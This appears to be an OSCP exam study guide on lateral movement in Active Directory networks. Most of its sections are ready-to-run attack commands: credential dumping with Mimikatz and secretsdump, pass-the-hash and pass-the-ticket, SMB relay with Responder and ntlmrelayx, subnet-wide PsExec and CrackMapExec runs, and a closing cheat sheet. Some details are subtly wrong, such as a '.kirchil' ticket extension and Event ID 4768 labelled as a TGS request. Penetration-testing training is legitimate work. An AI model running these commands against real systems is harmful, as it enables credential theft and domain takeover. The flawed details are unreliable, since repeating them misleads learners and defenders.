Lateral Movement Concepts and Strategies
Table of Contents
- What Is Lateral Movement?
- Why Lateral Movement Matters in AD
- The Lateral Movement Kill Chain
- Key Lateral Movement Strategies
- Information Gathering Before Lateral Movement
- Network Reconnaissance in AD
- Decision Framework: Choosing the Right Technique
- OSCP Exam Tips
1. What Is Lateral Movement?
Lateral movement is the post-exploitation phase where an attacker moves horizontally across a network from one compromised system to another, escalating privileges and expanding their foothold. In Active Directory (AD) environments, this is the bridge between initial access and domain dominance.
Core Definition
Lateral movement is the process of leveraging credentials, hashes, tickets, or vulnerabilities to access additional systems within a network after gaining an initial foothold.
The Attacker’s Goal
| Goal | Description |
|---|---|
| Expand Access | Move from a single compromised host to multiple systems |
| Privilege Escalation | Accumulate credentials to reach higher-privilege accounts |
| Domain Control | Ultimately compromise Domain Admins or the Domain itself |
| Persistence | Establish multiple footholds to survive remediation |
| Data Access | Reach sensitive data stores (file servers, databases, DCs) |
Lateral Movement vs. Other Phases
┌─────────────────────────────────────────────────────────────────────┐
│ ATTACK KILL CHAIN OVERVIEW │
├──────────────┬──────────┬────────────┬───────────┬──────────────────┤
│ Recon │ Initial │ LATERAL │ Privilege │ Objectives │
│ (External) │ Access │ MOVEMENT │ Escalation│ (DC Compromise) │
│ │ (Foothold)│ (Expand) │ (Accumulate)│ │
└──────────────┴──────────┴────────────┴───────────┴──────────────────┘
↑ THIS IS OUR FOCUS
2. Why Lateral Movement Matters in AD
Active Directory is the central nervous system of most enterprise Windows networks. Understanding why lateral movement is critical in AD:
AD-Specific Reasons
-
Credential Centralization: AD stores authentication data for all users and computers. Compromising one account can unlock access to many systems.
-
Trust Relationships: AD builds trust chains (computer trusts, domain trusts, forest trusts). Lateral movement exploits these trusts.
-
Group Policy: GPOs can deploy credentials, scripts, and configurations across the domain — attackers can hijack them.
-
Delegation Models: Resource-based and constrained delegation create lateral movement paths that skilled attackers exploit.
-
Administrative Groups: Domain Admins, Enterprise Admins, and local admin groups form a hierarchy attackers climb via lateral movement.
The AD Lateral Movement Value Chain
Low-Privilege User
│
▼ [Credential Dump / Pass-the-Hash]
Service Account / Local Admin
│
▼ [SMB Relay / DCSync / GPO Abuse]
Domain User / Domain Group Member
│
▼ [Golden/Silver Ticket / ACL Abuse]
Domain Admin
│
▼ [DCSync / Golden Ticket]
Domain Controller / Full Domain Control
3. The Lateral Movement Kill Chain
Phase-by-Phase Breakdown
| Phase | Activity | Key Tools | Key Question |
|---|---|---|---|
| 1. Discovery | Enumerate targets, users, groups, shares | net view, Get-ADComputer, nmap |
What systems and accounts exist? |
| 2. Credential Acquisition | Extract credentials, hashes, tickets | Mimikatz, secretsdump.py, Rubeus | What authentication material do I have? |
| 3. Target Selection | Identify high-value targets | CrackMapExec, BloodHound | Which system gives me the best ROI? |
| 4. Access Execution | Execute lateral movement technique | PsExec, WMI, WinRM, psexec.py | How do I reach the target? |
| 5. Post-Access | Enumerate, escalate, pivot | PowerShell, WinPEAS, credential dump | What’s next from this system? |
Detailed Phase 1: Discovery
# Enumerate domain computers
Get-ADComputer -Filter * | Select Name, DNSHostName, OperatingSystem, Enabled
# Enumerate domain users
Get-ADUser -Filter * -Properties * | Select Name, SamAccountName, Description, Enabled
# Enumerate domain groups (especially admin groups)
Get-ADGroup -Filter 'Name -like "*admin*"' | Get-ADGroupMember
# List domain controllers
Get-ADDomainController -Filter *
# Check current user's group memberships
whoami /all
net user /domain %username%
Detailed Phase 2: Credential Acquisition
# Mimikatz - extract credentials
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # kerberos::list /export
# From Kali - secretsdump
secretsdump.py -just-dc <DOMAIN>/<USER>:<PASS>@<DC_IP>
# From Kali - psexec to dump
psexec.py <DOMAIN>/<USER>:<PASS>@<TARGET>
Detailed Phase 3: Target Selection
# CrackMapExec / NetExec - rapid enumeration
crackmapexec smb <TARGET_RANGE> -u <USER> -p <PASS> --shares
crackmapexec smb <TARGET_RANGE> -u <USER> -H <HASH> --local-auth
crackmapexec smb <TARGET_RANGE> -u <USER> -p <PASS> --users --groups
# BloodHound for path analysis
# Upload SharpHound, collect data, analyze shortest paths to Domain Admin
4. Key Lateral Movement Strategies
4.1 Credential Reuse
The simplest form of lateral movement — using the same username/password combination across multiple systems.
How it works:
- Users often reuse passwords across accounts
- Service accounts may have broad access
- Default accounts may not be changed
Commands:
# From Kali - test credential reuse across subnet
crackmapexec smb 10.0.0.0/24 -u username -p 'Password123!'
# From compromised host - test against other systems
for /L %i in (1,1,254) do @echo 10.0.0.%i & psexec \\10.0.0.%i -u username -p Password123! cmd
Detection Indicators:
- Event ID 4624 (Logon) with multiple source IPs for same account
- Event ID 4625 (Failed Logon) spikes from single source
4.2 Pass-the-Hash (PtH)
Using NTLM password hashes directly for authentication without needing the plaintext password.
How it works:
- NTLM authentication uses a challenge-response mechanism
- The hash IS the credential in NTLM — no plaintext needed
- Extract hash from memory → use hash to authenticate to other systems
Commands:
# Extract hashes with Mimikatz
mimikatz # sekurlsa::logonpasswords
# Use hash with Impacket
psexec.py -hashes :<NTLM_HASH> <DOMAIN>/<USER>@<TARGET>
# Use hash with CrackMapExec
crackmapexec smb <TARGET> -u <USER> -H <NTLM_HASH>
Detection Indicators:
- Event ID 4624 with LogonType 3 (Network) and NTLM authentication
- Event ID 4648 (Explicit Credential Logon)
4.3 Pass-the-Ticket (PtT)
Using Kerberos tickets (TGT or TGS) to authenticate without credentials.
How it works:
- Kerberos tickets are stored in LSASS memory
- Extract ticket → inject into session → authenticate to services
- More powerful than PtH in Kerberos-only environments
Commands:
# Mimikatz - list and export tickets
mimikatz # kerberos::list /export
# Mimikatz - inject ticket (Pass-the-Ticket)
mimikatz # kerberos::ptt <ticket_file>.kirchil
# Rubeus - list and inject
Rubeus.exe triage
Rubeus.exe ptt /ticket:<base64_ticket>
# From Kali - use ccache
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -no-pass -k <DOMAIN>/<USER>@<TARGET>
Detection Indicators:
- Event ID 4624 with LogonType 9 (NewCredentials)
- Event ID 4768 (TGS Request) with unusual patterns
4.4 SMB Relay
Relaying NTLM authentication from one system to another without knowing the password.
How it works:
- Victim authenticates to attacker (NTLM challenge-response)
- Attacker relays the authentication to a target SMB share
- No password needed — just relay the conversation
Commands:
# Responder to capture NTLMv2
responder -I eth0 -wrf
# ntlmrelayx to relay to SMB
ntlmrelayx.py -t smb://<TARGET> -smb2support
# With delegation for DCSync
ntlmrelayx.py -t ldap://<DC> --escalate-user <USER>
Detection Indicators:
- Event ID 4624 with unusual source IP for authentication
- Event ID 5140 (Share Access) from unexpected sources
4.5 Remote Execution
Executing commands on remote systems — the core mechanism of lateral movement.
| Technique | Protocol | Port | Stealth |
|---|---|---|---|
| PsExec | SMB + Admin$ | 445 | Low (creates service) |
| WMI | DCOM/RPC | 135+ | Medium (fileless) |
| WinRM | HTTP/HTTPS | 5985/5986 | Medium |
| SMBExec | SMB + IPC$ | 445 | Medium |
| DCOMExec | DCOM | 135+ | Medium |
4.6 RDP/SSH Lateral Movement
Interactive remote access for manual exploration.
RDP:
# From Windows - connect via RDP
mstsc /v:<TARGET_IP>
# From Kali - xfreerdp
xfreerdp /v:<TARGET_IP> /u:<USER> /p:<PASS> /dynamic-resolution
# From Kali - using hash
xfreerdp /v:<TARGET_IP> /u:<USER> /d:<DOMAIN> /pth:<NTLM_HASH>
SSH:
# SSH to Linux systems in AD environment
ssh <USER>@<TARGET_IP>
ssh -i /path/to/key <USER>@<TARGET_IP>
# SSH with Kerberos ticket
export KRB5CCNAME=/path/to/ticket.ccache
ssh -K <USER>@<TARGET_IP>
5. Information Gathering Before Lateral Movement
5.1 Local Enumeration (On Compromised Host)
# System information
systeminfo
whoami /all
ipconfig /all
# Network connections
netstat -ano
Get-NetTCPConnection -State Listen
# User enumeration
net user
net user /domain
net user <username> /domain
# Group enumeration
net localgroup administrators
net localgroup "remote desktop users"
net group "domain admins" /domain
# Share enumeration
net share
net view
net view /domain
net view <TARGET>
# Running processes
tasklist /v
Get-Process
# Installed software
Get-WmiObject -Class Win32_Product | Select Name, Version
# Scheduled tasks
schtasks /query /fo LIST /v
# Registry - last logged on users
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# Cached credentials check
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
5.2 PowerShell Empire / Native Recon
# PowerView - comprehensive AD enumeration
Import-Module .\PowerView.ps1
# Domain info
Get-NetDomain
Get-NetDomainController
Get-NetForest
# Computer enumeration
Get-NetComputer -FullData | Select DNShostname, OperatingSystem, LastLogon
Get-NetComputer -Ping | Select DNShostname
# User enumeration
Get-NetUser -FullData | Select SamAccountName, Description, LastLogon
Get-UserProperty -PropertyName description
# Group enumeration
Get-NetGroup *admin* | Get-NetGroupMember
Get-NetGroup *admin* | Get-NetGroupMember -Recurse
# Share enumeration
Get-NetShare -ComputerName <TARGET>
Invoke-ShareFinder -CheckWriteAccess
# GPO enumeration
Get-NetGPO -ComputerName <TARGET>
Get-NetGPOGroup
# Trust relationships
Get-NetDomainTrust
Get-NetForestTrust
5.3 Nmap Reconnaissance
# Basic port scan
nmap -sS -p- <TARGET_IP>
# Service version detection
nmap -sV -sC -p 135,139,445,3389,5985,5986 <TARGET_IP>
# OS detection
nmap -O -A <TARGET_IP>
# Full scan with scripting engine
nmap -sS -sV -O -A -p- --script=vuln,discovery <TARGET_IP>
# SMB-specific enumeration
nmap -p 445 --script=smb-enum-shares,smb-enum-users,smb-os-discovery <TARGET_IP>
# LDAP enumeration (for Domain Controllers)
nmap -p 389,636 --script=ldap* <DC_IP>
# Kerberos enumeration
nmap -p 88 --script=krb5-enum-users <DC_IP>
# Scan entire subnet for AD-relevant services
nmap -sS -p 135,139,445,3389,5985,5986,88,389,636 10.0.0.0/24
5.4 Impacket Tools for Recon
# List domain users
getusers.py <DOMAIN>/<USER>:<PASS>@<DC_IP>
# Get user details
getuserSPNs.py <DOMAIN>/<USER>:<PASS>@<DC_IP> -request
# Secretsdump - extract all secrets
secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC_IP>
# Secretsdump with hash
secretsdump.py -hashes :<NTLM_HASH> <DOMAIN>/<USER>@<DC_IP>
# Lookupsid - enumerate SIDs
lookupsid.py <DOMAIN>/<USER>:<PASS>@<TARGET>
# SAMR user enumeration
samrdump.py <DOMAIN>/<USER>:<PASS>@<TARGET>
5.5 CrackMapExec / NetExec Recon
# Basic SMB connection test
crackmapexec smb <TARGET_RANGE> -u <USER> -p <PASS>
# Enumerate shares
crackmapexec smb <TARGET> -u <USER> -p <PASS> --shares
# Enumerate users
crackmapexec smb <TARGET> -u <USER> -p <PASS> --users
# Enumerate groups
crackmapexec smb <TARGET> -u <USER> -p <PASS> --groups
# Check local admin access
crackmapexec smb <TARGET_RANGE> -u <USER> -p <PASS> --local-auth
# Enumerate sessions
crackmapexec smb <TARGET> -u <USER> -p <PASS> --sessions
# Dump SAM database
crackmapexec smb <TARGET> -u <USER> -H <HASH> --sam
# WMI enumeration
crackmapexec wmi <TARGET> -u <USER> -p <PASS>
# WinRM enumeration
crackmapexec winrm <TARGET_RANGE> -u <USER> -p <PASS>
6. Network Reconnaissance in AD
6.1 AD-Specific Network Services
| Service | Port | Protocol | Purpose | Lateral Movement Relevance |
|---|---|---|---|---|
| Kerberos | 88 | TCP/UDP | Authentication | Ticket extraction, AS-REP Roasting |
| LDAP | 389 | TCP | Directory queries | User/group enumeration, ACL abuse |
| LDAPS | 636 | TCP | Encrypted LDAP | Same as LDAP, encrypted |
| RPC/DCOM | 135 | TCP | Remote procedure calls | WMI, DCOM execution |
| SMB | 445 | TCP | File sharing | PsExec, SMBExec, file access |
| NetBIOS | 137-139 | UDP/TCP | Legacy networking | Name resolution, legacy auth |
| RDP | 3389 | TCP | Remote desktop | Interactive access |
| WinRM | 5985/5986 | TCP | Remote management | PowerShell remoting |
| DNS | 53 | TCP/UDP | Name resolution | Zone transfers, subdomain enum |
| NTLM | - | - | Authentication | Pass-the-Hash |
6.2 Internal Network Discovery
# ARP scan for live hosts
Get-NetNeighbor | Where-Object {$_.State -eq "Reachable"}
# DNS resolution of domain controllers
nslookup -type=SRV _ldap._tcp.dc._msdcs.<DOMAIN>
# NetBIOS name enumeration
nbtstat -A <TARGET_IP>
# LLMNR/NBNS poisoning check
# (Use Responder to see if targets respond)
# From Kali - discover live hosts
nmap -sn 10.0.0.0/24
# Discover domain controllers
nmap -p 88,389,445,636 10.0.0.0/24 | grep -E "88|389|445|636"
# SMB signature enumeration
nmap -p 445 --script=smb2-security-mode 10.0.0.0/24
6.3 BloodHound for Attack Path Analysis
# Collect data with SharpHound
.\SharpHound.exe -c All -d <DOMAIN>
# Or from PowerShell
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain <DOMAIN>
Key queries for lateral movement:
- Shortest path to Domain Admins: Identifies the most efficient attack chain
- Owned computers: Shows systems you can already access
- Trust relationships: Reveals cross-domain movement paths
- Session hunting: Shows where target users are logged in
- ACL abuse paths: Identifies permission-based movement opportunities
7. Decision Framework: Choosing the Right Technique
Technique Selection Matrix
| Scenario | Best Technique | Why | Alternative |
|---|---|---|---|
| You have plaintext credentials | Credential Reuse | Simplest, works everywhere | PsExec, WMI |
| You have NTLM hash | Pass-the-Hash | Hash is sufficient for NTLM | WMIExec, SMBExec |
| You have Kerberos ticket | Pass-the-Ticket | Works in Kerberos-only envs | Rubeus ptt |
| Target blocks NTLM | Pass-the-Ticket | Kerberos bypasses NTLM restrictions | - |
| Port 445 blocked | WMI / WinRM | Uses different ports (135, 5985) | DCOMExec |
| Maximum stealth needed | WMI | Fileless, no service creation | WinRM |
| Interactive shell needed | PsExec / RDP | Full interactive experience | WinRM |
| You control a relay point | SMB Relay | No credentials needed | Responder + ntlmrelayx |
| Target is Linux in AD | SSH with Kerberos | Cross-platform Kerberos | Credential reuse |
Decision Flowchart
Do you have credentials?
├── YES (plaintext)
│ ├── Can you reach port 445?
│ │ ├── YES → PsExec / SMBExec / CrackMapExec
│ │ └── NO → WMI (port 135) / WinRM (port 5985)
│ └── Is target Linux?
│ ├── YES → SSH
│ └── NO → Above options
│
├── YES (NTLM hash only)
│ ├── Is NTLM allowed on target?
│ │ ├── YES → Pass-the-Hash via psexec.py / crackmapexec
│ │ └── NO → Need Kerberos ticket (upgrade auth)
│ └── Can you use WMI?
│ ├── YES → wmiexec.py (supports hashes)
│ └── NO → smbexec.py
│
└── YES (Kerberos ticket)
├── Windows target?
│ ├── YES → Mimikatz ptt / Rubeus ptt
│ └── NO → KRB5CCNAME + psexec.py -k
└── Need specific service access?
├── YES → Extract TGS for that service
└── NO → Use TGT for broad access
Quick Reference: Port-Based Technique Selection
Port Available Technique
─────────────────────────────────────────────────
445 (SMB) PsExec, SMBExec, psexec.py, smbexec.py
135 (RPC) WMI, DCOMExec, wmiexec.py
5985/5986 (WinRM) WinRS, evil-winrm, Invoke-Command
3389 (RDP) RDP, xfreerdp
22 (SSH) SSH (Linux targets)
88 (Kerberos) Kerberoasting, AS-REP Roasting
389/636 (LDAP) LDAP injection, ACL enumeration
8. OSCP Exam Tips
Critical Reminders
-
Always enumerate first: Before attempting lateral movement, spend time gathering information. The
crackmapexec/netexectools are invaluable for quick subnet-wide enumeration. -
Credential hygiene: Keep track of all credentials you find. Use a notes system to map which credentials work on which systems.
-
Try multiple techniques: If PsExec fails, try WMI. If WMI fails, try WinRM. Different targets have different configurations.
-
Hash vs. Plaintext: If you can extract plaintext passwords (Mimikatz), prefer them over hashes — they work in more scenarios.
-
Check local admin: Use
crackmapexec smb <range> -u <user> -p <pass> --local-authto quickly find where you have local admin access. -
RDP is your friend: When you need an interactive session, RDP is often the most reliable method. Use
xfreerdpfrom Kali. -
Document everything: OSCP requires detailed reporting. Screenshot each lateral movement step, including the command and its output.
-
Impacket is essential: Master
psexec.py,wmiexec.py,smbexec.py, andsecretsdump.py— these are your bread and butter tools.
Common Exam Scenarios
| Scenario | Likely Solution |
|---|---|
| You find a password in a config file | Test it with CrackMapExec across the subnet |
| You dump hashes from a workstation | Use PtH to reach servers where the user is local admin |
| You have a service account password | Check if it has admin access to domain controllers |
| You find credentials on a Linux box | Try them against Windows systems (shared passwords) |
| Port 445 is filtered | Switch to WMI (135) or WinRM (5985) |
| You need to reach a Domain Controller | Look for admin$, DCSync, or GPO-based attacks |
Essential Commands Cheat Sheet
# Quick lateral movement checklist
crackmapexec smb 10.0.0.0/24 -u <user> -p <pass> # SMB access
crackmapexec smb 10.0.0.0/24 -u <user> -H <hash> # PtH access
psexec.py <domain>/<user>:<pass>@<target> # PsExec
wmiexec.py <domain>/<user>:<pass>@<target> # WMI
evil-winrm -i <target> -u <user> -p <pass> # WinRM
xfreerdp /v:<target> /u:<user> /p:<pass> # RDP
secretsdump.py <domain>/<user>:<pass>@<dc> # DCSync
Troubleshooting Lateral Movement Failures
| Problem | Likely Cause | Fix |
|---|---|---|
STATUS_ACCESS_DENIED |
Insufficient privileges | Need local admin or correct credentials |
STATUS_LOGON_FAILURE |
Wrong credentials/hash | Verify credentials, check domain context |
Connection refused |
Port blocked / service down | Try different technique (WMI, WinRM) |
The target account name is invalid |
Domain context wrong | Use DOMAIN/user format |
Admin$ share not accessible |
SMB signing / UAC | Try WMI or WinRM instead |
WinRM is not set up |
WinRM disabled on target | Use PsExec or WMI instead |
Firewall blocking |
Windows Firewall rules | Try alternative ports/protocols |
Summary
Lateral movement is the art of expanding your foothold within an Active Directory environment. Success depends on:
- Thorough reconnaissance — Know your targets before attacking
- Credential management — Track and leverage all acquired credentials
- Technique flexibility — Have multiple methods ready for each target
- Understanding AD authentication — Know when to use NTLM vs. Kerberos
- Stealth awareness — Choose techniques appropriate to your detection risk
Master these fundamentals, and you’ll have a solid foundation for all AD lateral movement techniques covered in the subsequent chapters.